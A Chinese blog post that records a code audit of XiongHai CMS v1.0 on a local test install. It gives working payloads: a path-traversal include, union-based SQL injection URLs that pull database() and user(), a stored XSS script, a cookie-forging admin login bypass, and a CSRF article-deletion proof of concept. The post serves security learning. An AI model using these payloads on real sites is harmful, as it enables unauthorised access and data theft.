有空的时候就进行小型CMS的代码审计,这次审计的对象是熊海CMS v1.0

本地环境安装好了之后,可以看到提示安装了锁文件

说明重装漏洞应该不会存在了,这时候丢进seay代码审计系统的代码也出结果了,挨个看看

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

  第一个疑似文件包含漏洞,对GET方式传进的参数r进行了参数过滤,但是存在目录穿越,黑盒尝试了一下使用点 反斜杠截断,无果,存在漏洞,但是只能包含本地php文件

创建一个phppinfo.php文件

本来是包含files文件夹下的php文件,通过目录穿越我们尝试包含phpinfo.php

http://127.0.0.1/xhcms_v1.0/?r=../../phpinfo

  

成功包含

第二个疑似文件包含漏洞也是同样的利用方式,代码都是类似的:

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

  再看一下疑似存在SQL注入的地方

$save=$_POST['save'];
$ad1=addslashes($_POST['ad1']);
$ad2=addslashes($_POST['ad2']);
$ad3=addslashes($_POST['ad3']);
if ($save==1){
$query = "UPDATE adword SET
ad1='$ad1',
ad2='$ad2',
ad3='$ad3',
date=now()";

  这里可以看到对于POST方式输入的参数使用了addslashes函数进行过滤,所以这里的注入是一个误报,看下一处疑似注入:

在editcolumn.php文件中,存在如下代码:

$id=$_GET['id'];
$type=$_GET['type']; if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";

  可以看到对于GET方式输入的id没有进行过滤,应该是开发者的遗漏,我们到本地网站上进行测试

http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1

  输入单引号之后页面报错

http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27

  

我们知道后端的php代码,就直接使用union select 进行注入

http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27%20order%20by%2010--+

  

http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10--+

  字段数为10,回显位置有2,6,3,4,8

http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27%20and%201=2%20union%20select%201,database(),3,4,5,user(),7,8,9,10--+

  使用payload查询database()和user()

成功获取到了数据。

测试了一下后台的头像文件上传,上传正常的图片好像都不行

一直都是这个头像,尝试寻找XSS,CSRF和越权漏洞

if (isset($_GET["callback"])) {
if (preg_match("/^[\w_]+$/", $_GET["callback"])) {
echo htmlspecialchars($_GET["callback"]) . '(' . $result . ')';
} else {
echo json_encode(array(
'state'=> 'callback参数不合法'
));
}
} else {
echo $result;
}

  这里使用了htmlspecialchars函数进行过滤,$callback参数不存在XSS漏洞,而result变量在前面是固定的几个选项,不能构造XSS

到联系的留言列表里面去,可以看到用户可以在这里留言,应该是我搭建的问题,导致用户不能提交留言,但是有一个管理员回复,我们到后台界面留言回复,进行XSS攻击。

使用payload:

<script>alert(1)</script>

  

<script>alert(/xss/);</script>

  再到网站联系界面,可以看到成功弹窗

同时我们审查元素,可以看到XSS的payload在页面的元素中,对管理员回复留言并没有进行限制,导致XSS漏洞的产生

关于越权漏洞,因为只有admin一个用户,我们尝试可不可以不输入密码进入后台

在后台主页进行抓包:

可以看到Cookie里面有user=admin,很容易联想到会不会是user所对应的名字就是它对应的权限,测试之后发现不是,因为就一个用户,但是测试发现只要存在user,就能够进入后台,如我们先将cookie删除:

可以看到会将我们重定向至login界面

将cookie中的user改为一个并不存在的用户SpringBird,可以看到后台登录成功。

寻找CSRF漏洞,CSRF全程为跨站请求伪造,即可以劫持其他用户去进行一些请求。我们尝试劫持管理员的权限去删除文章

点击删除文章之后抓包

使用burpsuite自带的CSRF POC生成

在本地创建CSRF.html,访问之

可以看到出现了按钮,抓包的时候我们可以看到没有token验证,证明很有可能存在CSRF漏洞,这个时候浏览器还保存着管理员的身份信息,所以点击Submit就能够删除对应的文章

成功进行CSRF攻击。

继续努力吧。

参考链接:

http://foreversong.cn/archives/387

熊海CMS xhcms v1.0代码审计的更多相关文章

  1. 【转】寻找最好的笔记软件:海选篇 (v1.0)

    原文网址:http://blog.sina.com.cn/s/blog_46dac66f01000b55.html   序言: 我见过的多数软件爱好者,无论是资深用户,还是初级用户,都有一个梦想:找到 ...

  2. 熊海cms v1.0 完全代码审计

    很久以前写的,写这个东西更多的是为了说明我自己的一个思路,即按照程序功能点进行代码审计, 这样经过一段时间训练,熟悉了某种功能的正确和错误实现方法,遇到类似的代码就可以很快看出是否有问题了 --- 0 ...

  3. 熊海CMS_1.0 代码审计

    熊海是一款小型的内容管理系统,1.0版本是多年前的版本了,所以漏洞还是比较多的,而且审计起来难度不大,非常适合入门,所以今天我进行这款cms的代码审计.程序安装后使用seay源代码审计系统打开,首先使 ...

  4. 【php代码审计】熊海cms1.0

    0x01 环境安装 1. 熊海cms1.0 (http://js.down.chinaz.com/201503/xhcms_v1.0.rar) 2.seay代码审计工具 3. phpstudy (ph ...

  5. 【原创】风讯DotNetCMS V1.0~V2.0 SQL注入漏洞

      文章作者:rebeyond 注:文章首发I.S.T.O信息安全团队,后由原创作者友情提交到乌云-漏洞报告平台.I.S.T.O版权所有,转载需注明作者. 受影响版本:貌似都受影响. 漏洞文件:use ...

  6. 【转】寻找最好的笔记软件:三强篇(EverNote、Mybase、Surfulater) (v1.0) (

    原文网址:http://blog.sina.com.cn/s/blog_46dac66f01000b57.html 寻找最好的笔记软件:三强篇(EverNote.Mybase.Surfulater) ...

  7. CathyCMS-后台管理v1.0

    摘要: 最近开发CathyCMS系统作为练手项目,后台管理部分v1.0暂时告一段落.目前只包含了基本的登录.权限管理.频道管理.文章管理功能. 项目地址: https://github.com/cat ...

  8. Git异常:fatal: V1.0 cannot be resolved to branch.

    GitHub实战系列汇总:http://www.cnblogs.com/dunitian/p/5038719.html ———————————————————————————————————————— ...

  9. 自己动手写计算器v1.0

    今天突发奇想,想着看了还几个设计模式了,倒不如写点东西来实践它们.发现计算器这种就比较合适,打算随着设计模式的学习,会对计算器不断的做改进. 包括功能的增加和算法的改进.初学者难免犯错,希望大家不吝指 ...

随机推荐

  1. 【故障公告】博客站点再次出现故障,最终回退 .NET 5.0 恢复正常

    自从博客系统升级 .NET 5.0 之后遇到的诡异故障(一.二.三.四),今天它又出现了,就在前天刚刚故障之后, 就在昨天 .NET 5.0 正式版刚刚发布之后,出现了. 今天晚上我们在 19:30 ...

  2. 第05组 Alpha冲刺 (2/6)(组长)

    .th1 { font-family: 黑体; font-size: 25px; color: rgba(0, 0, 255, 1) } #ka { margin-top: 50px } .aaa11 ...

  3. day90:luffy:路飞项目前端部署

    目录 1.域名备案 2.域名解析 3.设置安全组 4.部署架构图 5.一些准备工作 6.docker 7.把前端项目通过nginx容器来运行 1.域名备案 腾讯云先要进行域名实名认证,实名认证三天后才 ...

  4. linux nf_conntrack 连接跟踪机制 2

    连接跟踪初始化 基础参数的初始化:nf_conntrack_standalone_init 会调用nf_conntrack_init_start 完成连接跟踪基础参数的初始化, hash slab 扩 ...

  5. sklearn.tree.DecisionTreeClassifier 详细说明

    sklearn.tree.DecisionTreeClassifier()函数用于构建决策树,默认使用CART算法,现对该函数参数进行说明,参考的是scikit-learn 0.20.3版本.     ...

  6. 流量控制--5.Classless Queuing Disciplines (qdiscs)

    Classless Queuing Disciplines (qdiscs) 本文涉及的队列规则(Qdisc)都可以作为接口上的主qdisc,或作为一个classful qdiscs的叶子类.这些是L ...

  7. 交换机通过Loopback Detection检测(接口自环)

    组网图形  Loopback Detection简介 网络中的环路会导致设备对广播.组播以及未知单播等报文进行重复发送,造成网络资源浪费甚至网络瘫痪.为了能够及时发现二层网络中的环路,避免对整个网络造 ...

  8. H5系列之contenteditable

    其实这个属性很简单,既然把它放到一个单独的文章来说,他肯定有一些注意点要讲 兼容性很好,兼容所有主流浏览器. 用法很简单,只需要给你需要的标签填上即可. <div contenteditable ...

  9. SFTP 服务器cd() 方法和 ls() 方法说明

    方法说明: cd():这个方法用于进入某个目录下. 默认情况,当连接SFTP服务器成功后直接进入用户目录,比如我连接自己本机SFTP服务器后进入/Users/mac目录.cd() 方法进入每一个目录都 ...

  10. JDBC【2】-- JDBC工作原理以及简单封装

    目录 1. 工作原理 1.1 加载驱动 1.1.1 类加载相关知识 1.1.2 为什么JDK 1.6之后不需要显示加载了? 1.2 驱动加载完成了,然后呢? 2. 简单封装 1. 工作原理 一般我们主 ...